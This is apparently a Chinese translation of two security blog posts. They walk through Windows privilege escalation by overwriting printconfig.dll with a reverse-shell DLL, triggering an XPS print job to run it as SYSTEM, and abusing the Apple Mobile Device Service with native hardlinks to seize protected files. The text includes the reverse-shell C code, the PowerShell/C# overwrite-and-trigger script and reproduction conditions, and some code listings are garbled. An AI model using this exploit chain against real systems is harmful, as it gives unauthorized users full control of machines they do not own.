通过任意文件覆盖漏洞直接获取系统操作的最高权限

安全 漏洞
任意文件覆盖一直被视为关键漏洞,因为它可能导致权限升级。

任意文件覆盖一直被视为关键漏洞,因为它可能导致权限升级。在Windows系统中,这通常意味着模拟管理员或系统运行。

[[345613]]

如果标准用户能够通过某种“利用”来更改特殊受保护文件的权限(通过授予他修改甚至更好的完全控制权限),则他可以更改目标文件的内容,以便将恶意代码注入到服务可执行文件、脚本、dll等。

但是随着时间的推移,“利用后”攻击面受到限制,例如,系统文件受特殊的“受信任的安装程序”组保护,甚至系统/管理员也只能对其进行读取和执行访问。

不过最近,攻击者通过成功更改System32中“license.rtf”文件的权限之后,可能使用Forshaw的“ Diaghub Collector利用”,因为该文件不受受信任的安装程序的保护。

第三方软件始终是一个选项,因为通常它们不受“受信任的安装程序”的保护。攻击者应枚举所有已安装的软件和可执行文件,识别哪些运行在高语境(high context)中,以及如何配置它们。一个典型的例子是服务可执行文件,它以SYSTEM身份运行,并且可由标准用户启动。在我的惠普笔记本电脑上,我拥有满足所有要求的“惠普软件框架服务(HP Software Framework)”,HP Software Framework提供了一套通用的软件接口,可以集中并简化对硬件、BIOS 和 HP 设备驱动程序的访问。

另一个不错的选择是“ Dropbox Updater Service”,它以每小时一次的系统权限(在标准安装中)作为预定任务运行。

但是如果攻击者只想依靠标准的Windows操作系统软件呢?它变得越来越困难与微软补丁,但显然有一些可能性。例如,还记得“ALPC任务调度程序”漏洞吗?

最终结果是覆盖“ Printconfig.dll”,其中SYSTEM拥有完全控制权,启动XPS打印作业(将加载修改后的Printconfig.dll),并在SYSTEM用户上下文中执行代码。结果,它仍然可以使用。

接下来,我将向你展示如何使用相对简单的多合一Powershell脚本从printconfig.dll中“滥用”。

“Microsoft XPS Document Writer”是一种特殊的打印机驱动程序:“Microsoft XPS文档编写器(MXDW)是一种打印到文件的驱动程序,该驱动程序使Windows应用程序可以从带有Service Pack 2(SP2)的Windows XP开始的Windows版本上创建XML Paper Specification(XPS)文档文件。”

这个驱动程序位于不同的位置(在本例中为Win 2019服务器):

有趣的是第一个文件,因为它是最新的文件,并且与我们的体系结构(X64)相匹配。

因此,如果我们能够完全控制此文件,则可以使用修改后的dll覆盖该文件,启动XPS打印作业,该作业将加载dll并以SYSTEM用户身份执行代码(例如,反向shell)。

出于保密原因,我不会告诉你构建和编译DLL,而是向你展示代码的相关部分:

  1. #include "stdafx.h" 
  2. #include   
  3. #include #define _WINSOCK_DEPRECATED_NO_WARNINGS 
  4.   
  5. using namespace std; 
  6.   
  7. void Reverse() 
  8. WSADATA wsaData; 
  9. SOCKET s1; 
  10. struct sockaddr_in hax; 
  11.   
  12. STARTUPINFO sui; 
  13. PROCESS_INFORMATION pi; 
  14. launched = TRUE
  15. WSAStartup(MAKEWORD(2, 2), &wsaData); 
  16. s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL
  17. (unsigned int)NULL, (unsigned int)NULL); 
  18.   
  19. hax.sin_family = AF_INET; 
  20. hax.sin_port = htons(4444); 
  21. hax.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  22.   
  23. WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULLNULLNULLNULL); 
  24.   
  25. memset(&sui, 0, sizeof(sui)); 
  26. sui.cb = sizeof(sui); 
  27. sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); 
  28. sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1; 
  29.   
  30. TCHAR commandLine[256] = L"cmd.exe"
  31. CreateProcess(NULL, commandLine, NULLNULLTRUE
  32.     0, NULLNULL, &sui, &pi); 
  33. extern "C" __declspec (dllexport) bool __cdecl DllMain(_In_ HINSTANCE hinstDLL, 
  34.     _In_ DWORD     fdwReason, 
  35.     _In_ LPVOID    lpvReserved 
  36.                      ) 
  37.   
  38.      
  39.     switch (fdwReason) 
  40.     { 
  41.     case DLL_PROCESS_ATTACH: 
  42.          
  43.         Reverse(); 
  44.          
  45.         break; 
  46.     case DLL_THREAD_ATTACH: 
  47.     case DLL_THREAD_DETACH: 
  48.     case DLL_PROCESS_DETACH: 
  49.         break; 
  50.     } 
  51.      
  52.      
  53.      
  54.        
  55.     return TRUE

加载库时总是调用DLLMain(),它将在本地主机端口4444上执行我们的反向shell。

我们只需要编译DLL并将其转换为b64中的二进制文件,因为我们会将其插入到ps1脚本中:

  1. $FilePath="c:\temp\my.dll" 
  2. $ByteArray = [System.IO.File]::ReadAllBytes($FilePath) 
  3. $Base64String = [System.Convert]::ToBase64String($ByteArray) 
  4. $Base64String | Set-Content -force "out.64" 

现在我们的脚本是“xps.ps1”,必须包含一些c#代码,因为它更容易调用和操作API函数:

  1. $mycode = @" 
  2. using System; 
  3. using System.ComponentModel; 
  4. using System.IO; 
  5. using System.Runtime.InteropServices; 
  6. namespace XPS 
  7. public class XpsPrint 
  8. public static void StartPrintJob() 
  9. PrintJob("Microsoft XPS Document Writer""myjob"); 
  10. public static void PrintJob(string printerName, string jobName) 
  11. IntPtr completionEvent = CreateEvent(IntPtr.Zero, truefalsenull); 
  12. if (completionEvent == IntPtr.Zero) 
  13. throw new Win32Exception(); 
  14. try 
  15. IXpsPrintJob job; 
  16. IXpsPrintJobStream jobStream; 
  17. StartJob(printerName, jobName, completionEvent, out job, out jobStream); 
  18. jobStream.Close(); 
  19.   
  20.   
  21. finally 
  22. if (completionEvent != IntPtr.Zero) 
  23. CloseHandle(completionEvent); 
  24. private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
  25. int result = StartXpsPrintJob(printerName, jobName, null, IntPtr.Zero, completionEvent, 
  26. null, 0, out job, out jobStream, IntPtr.Zero); 
  27.   
  28. [DllImport("XpsPrint.dll", EntryPoint = "StartXpsPrintJob")] 
  29. private static extern int StartXpsPrintJob( 
  30. [MarshalAs(UnmanagedType.LPWStr)] String printerName, 
  31. [MarshalAs(UnmanagedType.LPWStr)] String jobName, 
  32. [MarshalAs(UnmanagedType.LPWStr)] String outputFileName, 
  33. IntPtr progressEvent,  
  34. IntPtr completionEvent,  
  35. [MarshalAs(UnmanagedType.LPArray)] byte[] printablePagesOn, 
  36. UInt32 printablePagesOnCount, 
  37. out IXpsPrintJob xpsPrintJob, 
  38. out IXpsPrintJobStream documentStream, 
  39. IntPtr printTicketStream);  
  40. [DllImport("Kernel32.dll", SetLastError = true)] 
  41. private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 
  42. [DllImport("Kernel32.dll", SetLastError = true, ExactSpelling = true)] 
  43. private static extern WAIT_RESULT WaitForSingleObject(IntPtr handle, Int32 milliseconds); 
  44. [DllImport("Kernel32.dll", SetLastError = true)] 
  45. [return: MarshalAs(UnmanagedType.Bool)] 
  46. private static extern bool CloseHandle(IntPtr hObject); 
  47. [Guid("0C733A30-2A1C-11CE-ADE5-00AA0044773D")]  
  48. [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
  49. interface IXpsPrintJobStream 
  50. void Read([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbRead); 
  51. void Write([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbWritten); 
  52. void Close(); 
  53. [Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")] 
  54. [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
  55. interface IXpsPrintJob 
  56. void Cancel(); 
  57. void GetJobStatus(out XPS_JOB_STATUS jobStatus); 
  58. [StructLayout(LayoutKind.Sequential)] 
  59. struct XPS_JOB_STATUS 
  60. public UInt32 jobId; 
  61. public Int32 currentDocument; 
  62. public Int32 currentPage; 
  63. public Int32 currentPageTotal; 
  64. public XPS_JOB_COMPLETION completion; 
  65. public Int32 jobStatus;  
  66. }; 
  67. enum XPS_JOB_COMPLETION 
  68. XPS_JOB_IN_PROGRESS = 0, 
  69. XPS_JOB_COMPLETED = 1, 
  70. XPS_JOB_CANCELLED = 2, 
  71. XPS_JOB_FAILED = 3 
  72. enum WAIT_RESULT 
  73. WAIT_OBJECT_0 = 0, 
  74. WAIT_ABANDONED = 0x80, 
  75. WAIT_TIMEOUT = 0x102, 
  76. WAIT_FAILED = -1  
  77.   
  78. "@ 
  79. ## Change this according to your system: 
  80. $dllb64="..." 
  81. $targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll" 
  82. $PEBytes = [System.Convert]::FromBase64String($dllb64) 
  83. $PEBytes | Set-Content -force $targetfile -Encoding Byte 
  84. add-type -typeDefinition $mycode 
  85. [XPS.XpsPrint]::StartPrintJob() 
  86. echo "[+] done!" 
  87. exit 

在$ddlB64变量中,我们将分配之前保存在“out.64”中的dll的b64字符串。

现在,出于测试目的,以SYSTEM用户身份,只需更改“ printconfig.dll”的权限。请记住,要进行备份!

让我们继续:

是的,它绝对有效!通过以没有特殊权限的标准用户身份启动XPS打印作业,获得了SYSTEM用户的反向shell!

为了摆脱文件对话框,我们可以在StartJob()方法中指定一个文件名:

  1. private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
  2. int result = StartXpsPrintJob(printerName, jobName, 
  3. "c:\\windows\\temp\\test.txt", IntPtr.Zero, completionEvent, 
  4. null, 0, out job, out jobStream, IntPtr.Zero); 
  5.   

但你猜怎么着?你将模拟“NT AUTHORITY\LOCAL SERVICE”!

在本例中,将调用允许后台打印XPS文件的驱动程序“printfilterpipelinesvc.exe”,并以“本地服务”帐户而非“系统”帐户运行该驱动程序!

但是攻击者怎么才能覆盖任意文件?

如上所述,我将通过一个真实的示例向你展示如何利用“Printconfig” dl。但是。这个iPhone有什么关系呢?

为此,我特意寻找了可以通过硬链接利用的特权文件操作。

通过努力,我们发现了目录c:\programdata\apple\lockdown。

iTunes软件安装的“苹果移动设备服务”使用此文件夹,该服务以“本地系统”特权运行,负责处理通过USB端口与苹果设备(iPhone,iPad等)的通信。

如下所示,标准用户可以在以下目录中添加文件:

每次插入新设备时,驱动程序都会以

现在,插入我们的苹果设备。将生成“配对证书”,并且在此文件上设置的权限如下:

如你所见,用户仅对此文件具有读取权限。

现在你会发现一个有趣的事情,如果你拔下设备的插头,然后再次插入,则会发生一些神奇的事情,从而授予用户对该文件的完全控制权限:

我们使用Sysinternals的“procmon”工具观察到这种有趣的行为:

SetSecurity调用是从提升的上下文(SYSTEM)发出的,它将授予用户对资源的完全控制权。所以这个会不会成为一个漏洞,被攻击者利用呢?

答案是肯定的,只需输入 “NATIVE HARDLINKS“即可。

标准的Windows用户不需要特殊的权限即可创建此类链接,我们可以使用Forshaw的实用程序来管理它们。

那么,为什么不在此文件上设置“本机硬链接(“native hardlink”)”,并让其指向只有SYSTEM才能完全控制的资源呢?

这是我们要做的,将我们的

现在,我们只需要插入我们的苹果设备即可更改目标文件的权限:

是的,它起作用了!

至此,我们已经完成了所有的工作,只需要将目标文件更改为printconfig.dll,然后用我们自己的dll覆盖它,开始XPS打印作业,最后享受SYSTEM shell。你可以观看POC的视频,链接请点击这

边界条件

1. 你需要在Windows计算机上具有用户shel程序访问权限;

2. iTunes和Apple Mobile Device Service应该一起安装,为此我们使用最新的iTunes版本(在撰写本文时为12.10.3)对其进行了测试。

3. 出于测试目的,你需要对计算机进行物理访问才能插入苹果设备,但这并不是必须的。因为你可以删除* .plist文件,创建指向目标dll的相同* .plist文件的硬链接,然后等待设备插件。我们观察到有时即使没有配对设备也会设置完全权限,但是我们需要对其进行更多研究。

注意

在Windows未来发布的版本在,通用硬链接滥用中将不再起作用。因为,在最新的“Insider”预览中,MS添加了一些补充检查,因此,如果你无权访问目标文件,则在尝试创建硬链接时会收到拒绝访问错误。

微软在每一个新系统正式发行之前,都会向开发者提供预览版系统,以便更快的找到 Bug 并解决。而 Windows Insider 的开放注册让更多的人加入到 Windows 10的改进和完善的工作中来,让Windows 更加适应消费者的需求。

本文翻译自:https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ https://decoder.cloud/2019/12/12/from-iphone-to-nt-authoritysystem/如若转载,请注明原文地址。

 

责任编辑:姜华 来源: 嘶吼网
相关推荐

2013-10-31 13:19:06

2011-12-26 10:17:12

2009-07-06 17:34:20

PEARMail函数php

2013-08-29 15:24:36

2011-04-01 09:43:50

Windows 7权限

2021-07-22 16:09:02

漏洞WindowsLinux

2015-03-09 10:22:23

2009-07-14 14:37:11

Flex

2023-07-31 08:02:28

2013-10-24 11:03:07

Windows 8.1Windows 8System权限

2014-11-28 15:29:52

2019-01-02 09:16:27

2013-09-02 09:19:19

2011-12-13 11:08:00

2010-04-16 17:49:28

Unix操作系统

2022-02-16 11:51:16

McAfee漏洞Windows

2013-07-11 09:51:15

2015-03-06 15:31:01

2010-04-16 17:46:26

Unix操作系统

2010-04-16 17:58:22

Unix操作系统
点赞
收藏

51CTO技术栈公众号